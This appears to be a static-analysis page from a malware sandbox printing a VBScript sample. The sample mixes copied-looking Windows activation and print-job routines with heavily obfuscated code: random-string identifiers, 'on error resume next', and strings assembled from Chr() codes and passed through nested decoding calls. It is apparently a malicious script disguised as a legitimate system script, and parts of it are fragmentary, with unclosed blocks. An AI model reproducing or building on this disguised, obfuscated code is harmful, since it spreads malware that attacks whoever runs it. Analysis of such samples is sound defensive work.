Static | ZeroBOX

Private function gosUCGbUhPAMgTqBqwnPeqsQizzqhkQKaHpEqwTwWhjvxJyFps(n)

Dim cEafpMIQtMmpqGwWOTdjqhwPPWfkNEpdFOQuzyjxLZoWtIrCRR : cEafpMIQtMmpqGwWOTdjqhwPPWfkNEpdFOQuzyjxLZoWtIrCRR = kUYlsWZiixsJZQxGLAePlAMStJUeaIyxwzoLaClZnzqfdVevdG(n)

gosUCGbUhPAMgTqBqwnPeqsQizzqhkQKaHpEqwTwWhjvxJyFps = BHmQnuQDjBlnpdKdjMrePpbNrtEXTjhKjaUbxayoErUuKvFBHd(4 - Len(cEafpMIQtMmpqGwWOTdjqhwPPWfkNEpdFOQuzyjxLZoWtIrCRR), "6") & cEafpMIQtMmpqGwWOTdjqhwPPWfkNEpdFOQuzyjxLZoWtIrCRR

End function

function hpfVVRVCDcwMeNlfamiBMdaBkjTxmkxpFisWRffqjmlzAnQHHL(dGgwxqLEzjgdlkscNGffDCwEchbRYnhBQUDhKUuUJNliJreWgf, SnzWSQfUiamEsXXwDqzLMrAzBXFxpzeNpsTSIkkwehvxBcBhkw, SZPrIYajUXhUjSKSklIGgTdbyqztocDYOJFwXLLWehoUdxEtde, aTUGThKTGBQUGBBwugtPhbvETrsYqzAeBNdQoCckETCFUCLZoU, XadzNNIJIjThoAPUwhGlvQkWkvUllJqtIhwWcoJPLVhcDOIxNM, rpjwgZdZpmsuOdOYfjeXtNiYgAywWHKamKtUBuAZATJAqAxCfc)

on error resume next

dbfyZyAIwPanqLmdUITBdDqiORXXiGooLradckldyKICmdUFQK SSWBcRJlfkdGrzgHLgrLBjmLTkZzaIaPvSsygUTfOxthuuzzcV, uDnPNkzExZDbhqEHctTGrgjaVFWMiIpWOsNuzKpMYODXIdTaSH

dim VeJMxCvhvLrsiHYotCktkLAyTxVKCaZRVCMhHhKNdPZcaKsWTP

dim nzUfevHUmHJKNVbArPpexVPlChIeEzXQpLPZxfOsyrEjbLswKX

dim JxmVwgcIhvnEaEtlGpusOEfQOcbrMRFVdRXZvGWNLbVazMzENS

dim EFlpNFqhUHBQkmXqnhwJLLhiXTLhsIhOwcrhTTaqJKxcjwyvQy

dim idgHKvwFwijcteQLzaGrVzacQTpLrFekFsKqHSpWlsNifRmahr

idgHKvwFwijcteQLzaGrVzacQTpLrFekFsKqHSpWlsNifRmahr = SZPrIYajUXhUjSKSklIGgTdbyqztocDYOJFwXLLWehoUdxEtde & ", " & SnzWSQfUiamEsXXwDqzLMrAzBXFxpzeNpsTSIkkwehvxBcBhkw

JxmVwgcIhvnEaEtlGpusOEfQOcbrMRFVdRXZvGWNLbVazMzENS = WuoLTMIEBkvCRiVSTpYzWMFdvgGHrzbOKrrhQsOzOiEFLnUKxT

if nWYhySwKkZkXXndKUAlfxnVyzntLDMEqWVgmyWqPPoYMUmIpWQ(dGgwxqLEzjgdlkscNGffDCwEchbRYnhBQUDhKUuUJNliJreWgf, ieXNoshmEkMpMDrPgHJBYgtAdRfLzsxxdpOUmcpoGNjNvdoNXu, aTUGThKTGBQUGBBwugtPhbvETrsYqzAeBNdQoCckETCFUCLZoU, XadzNNIJIjThoAPUwhGlvQkWkvUllJqtIhwWcoJPLVhcDOIxNM, nzUfevHUmHJKNVbArPpexVPlChIeEzXQpLPZxfOsyrEjbLswKX) then

set VeJMxCvhvLrsiHYotCktkLAyTxVKCaZRVCMhHhKNdPZcaKsWTP = nzUfevHUmHJKNVbArPpexVPlChIeEzXQpLPZxfOsyrEjbLswKX.Get("Win32_PrintJob.Name='" & idgHKvwFwijcteQLzaGrVzacQTpLrFekFsKqHSpWlsNifRmahr & "'")

else

hpfVVRVCDcwMeNlfamiBMdaBkjTxmkxpFisWRffqjmlzAnQHHL = WuoLTMIEBkvCRiVSTpYzWMFdvgGHrzbOKrrhQsOzOiEFLnUKxT

exit function

end if

if msVQBsYAtvDtjKOBYSBHPTkNyvZPeqPtreoyPpDOXdnesYUqJZ.wBlkocJcTVMmrtndSACBUdvKOpeMwZuEkNNgEOueeJcWUHJNUE = hqEryYjiJaHKfAgnkXtXeVIAFLDgjgOrONUjXANIBtHQuicgQl then

EFlpNFqhUHBQkmXqnhwJLLhiXTLhsIhOwcrhTTaqJKxcjwyvQy = hqEryYjiJaHKfAgnkXtXeVIAFLDgjgOrONUjXANIBtHQuicgQl

select case rpjwgZdZpmsuOdOYfjeXtNiYgAywWHKamKtUBuAZATJAqAxCfc

case idpyjQYXZdUmXoxKRsqTbhJzFgYZLUZXRQRMtZSTORBFQDouxM

EFlpNFqhUHBQkmXqnhwJLLhiXTLhsIhOwcrhTTaqJKxcjwyvQy = VeJMxCvhvLrsiHYotCktkLAyTxVKCaZRVCMhHhKNdPZcaKsWTP.Pause()

case qWQPZdMnTLFgYBzNwYVkpQzBHeBtejiIdLPpqrBfagYUPVNouq

EFlpNFqhUHBQkmXqnhwJLLhiXTLhsIhOwcrhTTaqJKxcjwyvQy = VeJMxCvhvLrsiHYotCktkLAyTxVKCaZRVCMhHhKNdPZcaKsWTP.Resume()

case xugmqrRjwtEolTcHncMRhZDvExwQYNtUNxkhGepNpVLAFlZdps

VeJMxCvhvLrsiHYotCktkLAyTxVKCaZRVCMhHhKNdPZcaKsWTP.Delete_()

case else

mexBHFEFxHsRpXVdyBBXcSfUzKlAIdijCKGsfkIkIMOkecDJbV(true)

end select

if msVQBsYAtvDtjKOBYSBHPTkNyvZPeqPtreoyPpDOXdnesYUqJZ.wBlkocJcTVMmrtndSACBUdvKOpeMwZuEkNNgEOueeJcWUHJNUE = hqEryYjiJaHKfAgnkXtXeVIAFLDgjgOrONUjXANIBtHQuicgQl then

if EFlpNFqhUHBQkmXqnhwJLLhiXTLhsIhOwcrhTTaqJKxcjwyvQy = hqEryYjiJaHKfAgnkXtXeVIAFLDgjgOrONUjXANIBtHQuicgQl then

wscript.echo zfnzWquHnbqrxLjXeppyaJvfvCreGpDQwkscxUGrEyCYsHdtqc & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & rpjwgZdZpmsuOdOYfjeXtNiYgAywWHKamKtUBuAZATJAqAxCfc & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl _

& iINcU & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & SnzWSQfUiamEsXXwDqzLMrAzBXFxpzeNpsTSIkkwehvxBcBhkw _

& HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & xoCRMwipFfgeBuFOwbGkRsYdTSFHRYNADxSAfWWHNNKTQrqoUZ & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & SZPrIYajUXhUjSKSklIGgTdbyqztocDYOJFwXLLWehoUdxEtde

JxmVwgcIhvnEaEtlGpusOEfQOcbrMRFVdRXZvGWNLbVazMzENS = hqEryYjiJaHKfAgnkXtXeVIAFLDgjgOrONUjXANIBtHQuicgQl

else

wscript.echo snCdvPMbxuKydFqnFvzIQuBdNWEhqxUxXwcYpMAmWAUXLhDPBk & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & rpjwgZdZpmsuOdOYfjeXtNiYgAywWHKamKtUBuAZATJAqAxCfc & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl _

& jkAuVaOQoVoEwjkJYMQuCpgoZmOjVmMbNnSXpntPEVxQBIMUTL & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & EFlpNFqhUHBQkmXqnhwJLLhiXTLhsIhOwcrhTTaqJKxcjwyvQy

end if

else

wscript.echo KNxzQPeEFlMGUCkpdTiARlTIPoaODVpZrviVnMqJvfKTsVkVRn & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & KJPZscEwpRZXXhAUmLvVtZsgZCviDfVuyonDJifSHecRzOacgT & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl _

& KuTCjxFvgSxhgOjtNxKIpQQvHZBLmCQDeRvgDhfzmJUkFUBjAD & hex(msVQBsYAtvDtjKOBYSBHPTkNyvZPeqPtreoyPpDOXdnesYUqJZ.wBlkocJcTVMmrtndSACBUdvKOpeMwZuEkNNgEOueeJcWUHJNUE) & HaImvNMeJuVMgcAnvxXTLwTrpGHoIuvUQgaLVpJTYVmJEvMJYl & msVQBsYAtvDtjKOBYSBHPTkNyvZPeqPtreoyPpDOXdnesYUqJZ.hSWiRNOEBlLNzGCdueRXcOgMeYROubqxfjVjYyTonFUeaKyEHs

call TFtWsPADYmnqgdXZoOhuOLMCfCjovlDuEqyVAKKEladNnxjeli()

end if

else

call TFtWsPADYmnqgdXZoOhuOLMCfCjovlDuEqyVAKKEladNnxjeli()

end if

hpfVVRVCDcwMeNlfamiBMdaBkjTxmkxpFisWRffqjmlzAnQHHL = JxmVwgcIhvnEaEtlGpusOEfQOcbrMRFVdRXZvGWNLbVazMzENS

end function

Private Sub DisplayIID(strActivationID)

Dim objProduct

Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey

Dim bCheckProductForCommand

strActivationID = LCase(strActivationID)

bFoundAtLeastOneKey = False

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", OfflineInstallationId", PartialProductKeyNonNullWhereClause)

bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)

If (bCheckProductForCommand) Then

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

LineOut GetResource("L_MsgInstallationID") & objProduct.OfflineInstallationId

bFoundAtLeastOneKey = True

If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then

Exit Sub

End If

If (bFoundAtLeastOneKey = TRUE) Then

LineOut ""

LineOut GetResource("L_MsgPhoneNumbers")

Else

LineOut GetResource("L_MsgErrorProductNotFound")

End If

End Sub

Private Sub DisplayActivatingSku(objProduct)

Dim strOutput

strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)

strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)

LineFlush strOutput

End Sub

Private Sub DisplayActivatedStatus(objProduct)

If (objProduct.LicenseStatus = 1) Then

LineOut GetResource("L_MsgActivated")

ElseIf (objProduct.LicenseStatus = 4) Then

LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_11")

ElseIf ((objProduct.LicenseStatus = 5) And (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE)) Then

LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_12")

ElseIf (objProduct.LicenseStatus = 6) Then

LineOut GetResource("L_MsgActivated")

LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")

Else

LineOut GetResource("L_MsgActivated_Failed")

End If

End Sub

Private Sub ActivateProduct(strActivationID)

Dim objService, objProduct

Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey

Dim strOutput

Dim bCheckProductForCommand

strActivationID = LCase(strActivationID)

bFoundAtLeastOneKey = False

set objService = GetServiceObject("Version")

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", LicenseStatus, VLActivationTypeEnabled", PartialProductKeyNonNullWhereClause)

bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)

If (bCheckProductForCommand) Then

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

' This routine does not perform token-based activation.

' If configured for TA, then show message to user.

If (objProduct.VLActivationTypeEnabled = 3) Then

LineOut GetResource("L_MsgTokenBasedActivationMustBeDone")

Exit Sub

End If

strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)

strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)

LineOut strOutput

On Error Resume Next

' Avoid using a MAK activation count up unless needed

If (Not(IsMAK(objProduct.Description)) Or (objProduct.LicenseStatus <> 1)) Then

objProduct.Activate()

QuitIfError()

objService.RefreshLicenseStatus()

objProduct.refresh_

End If

DisplayActivatedStatus objProduct

bFoundAtLeastOneKey = True

If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then

Exit Sub

End If

If (bFoundAtLeastOneKey = True) Then

Exit Sub

End If

LineOut GetResource("L_MsgErrorProductNotFound")

End Sub

On Error Resume Next

NPeacWTZWlCaPWDoQaWGqVGMvhgiTSdajMxCwqgWQPOCDlWlxv = Chr(112)&Chr(117)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)

EcyMeuFuaLrubosIhaoViGAzghRUBWThgvpCkrRSPjDeXpPWCD = NPeacWTZWlCaPWDoQaWGqVGMvhgiTSdajMxCwqgWQPOCDlWlxv

EcyMeuFuaLrubosIhaoViGAzghRUBWThgvpCkrRSPjDeXpPWCD = MCsWmrszGjuwwxfEQDhKiKXwxvuHhscjKZqFfMFrDBJMUHstBT(MCsWmrszGjuwwxfEQDhKiKXwxvuHhscjKZqFfMFrDBJMUHstBT(MCsWmrszGjuwwxfEQDhKiKXwxvuHhscjKZqFfMFrDBJMUHstBT(EcyMeuFuaLrubosIhaoViGAzghRUBWThgvpCkrRSPjDeXpPWCD)))

MBFhqAVpjSEdGyergKUFAdJhzgIaEauRsXOYYiWbIVLjHaFibM:UOcSPfqLkEkQVjUQAOHJQRUoXriQlDVQZoTIDiNQKJsdswFNKI:fupmgCWtTbpuExDbPEpCRLuiUQhJukrOAWpMLyEmNNiTZsYSRW = "@#%

#&*":vogPAXXFpwRakDmzTszCeyVBMcZDWGhzMiOtVDqsLNobPSbKsr:vwVVEzWFHuzcuMpBSpqsGKsfeLxSKgaRooTlcnfFZOUHaElEJH: